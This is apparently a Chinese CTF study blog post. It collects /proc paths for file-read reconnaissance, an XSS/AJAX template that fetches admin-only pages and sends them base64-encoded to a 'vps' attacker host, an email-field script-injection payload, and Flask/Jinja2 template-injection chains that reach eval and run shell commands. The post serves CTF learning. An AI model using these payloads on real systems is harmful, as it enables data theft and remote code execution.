python继承链 + small trick 近期总结


关于在CTF中寻找题目信息和python继承链的一些自己的想法加上一点最近自己收集到的small trick的分析

前言

最近遇到了很多比赛,打的很自闭,不过在感知到自己在一点点的变强(不知道是不是自己的心理作用,不管了)

Start

思路扩展

在可以进行文件读取的时候,关注服务器上的/proc目录,里面可以得到很多我们需要的信息

self表示当前进程,我们通过web的题目进入就相当于可以不用知道进程号,直接用self来代替

1
2
3
4
5
6
7

/proc/self/environ
/proc/self/maps
/proc/self/mounts

apache
/etc/apache2/sites-available/000-default.conf #apache2的默认路径

上面三个是信息的收集,可以获得绝对路径,下面的这个就是为了可以获得访问的路径的一种方式,在直接的绝对路径被ban的情况下可以使用

1
2
3
4
abspath:
/home/web/app/inf.php
我们可以在
/proc/self/cwd/app/inf.php进行访问

通过ajax来进行本地的文件读取

初见

这个最开始是在网鼎杯的spider见到的,当时才刚刚打CTF,什么都不懂。
直接附上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();
}
loadXMLDoc();
</script>

这里就是标准的ajax的格式,这里一般就是结合XSS来进行,可以通过管理员权限来进行文件读取,来获得我们无法得到的内容

我们来分析一下其中的内容,基本上这个模板可以一直使用,所以只需要理解了我们魔改的部分,以后就秀秀改改就好。

1
2
3
4
5
6
7
关键代码
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();

在访问没有问题的时候,进行下面的,这里是通过在文档中的一个中插入返回的内容,xmlhttp.reponseText就是你下面open内容的反馈,在一般的时候我们可以让内容反馈到我们的vps上

1
2
document.location='http://vps:port/?'+btoa(xmlhttp.responseText);
这里bota是指base64的编码,目的是为了防止因为不同的文字而出现乱码的情况

再遇

在SWPUCTF的有趣的邮箱注册又有这样的题目

1
2
3
4
5
6
7
8
9
10
11
12
"<script/src=//vps_ip/payload.js></script>"@example.com
#payload.js
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();

在本地的时候也可以直接写文件名,依然可以读取

python继承链

这玩意是啥呢,就是我们平时很常见的来说就是如何通过flask的模板注入来拿到,可以命令执行的函数,不过在此之前还是想要记录在flask模板注入的是一点小小的知识

  1. 在遇到()被过滤的时候一般来说是无解的,不用思考来拿到系统的函数,但是配置类的文件我们还是可以读取到的

    1
    2
    3
    4
    5
    GET /{{url_for.__globals__['current_app'].config}}

    or

    GET /{{get_flashed_messages.__globals__['current_app'].config}}

    flask全局变量
    2.基本的获得我们需要的执行函数的类的方法

    1
    2
    {{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312] 
    }}

    以这个为例,我们的目标是先找到一个一个function,然后通过base不断向上弹,弹到你找到object这个类,然后通过subclasses来访问所有子类[xx],中间的数字就是含有可执行的函数的子类

    1
    object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

    遇到过滤的时候有很多的trick,详情可以参考链接

    下面的日后再写有点困了

    基础概念

    偷一波别人的内容

    __class__(都是两个下划线)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #返回一个实例所属的类
    class Base:
    def __init__(self):
    pass

    obj = Base()
    print obj.__class__
    #下面为输出内容
    """
    __main__.Base
    """

__globals__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#返回一个当前孔家下能使用的模块,方法和变量的字典
#coding:utf-8
import os

var = 2333

def fun():
pass

class test:
def __init__(self):
pass

print test.__init__.__globals__
"""
{'__builtins__': , '__file__': 'backup.py', '__package__': None, 'fun': , 'test': , 'var': 2333, '__name__': '__main__', 'os': , '__doc__': None}
"""

__subclasses__

1
2
3
4
5
6
7
8
9
10
11
12
#获取一个类的子类,返回的是一个列表,就是你得到的类中所有的子类
class Base1(object):
def __init__(self):
pass

class test(Base1):
pass

print Base1.__subclasses__()
"""
[]
"""

那我们现在就来重新看一遍

1
object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

我们得到了object,使用subclasses,列出了所有的子类,然后选中之后用init方法初始化,这个子类,然后使用globals来找到这个类中所有可以使用的模块和方法,然后选中调用

参考链接:
NCTF两道模板注入

Flask/Jinja2模板注入中的一些绕过姿势

一叶飘零的博客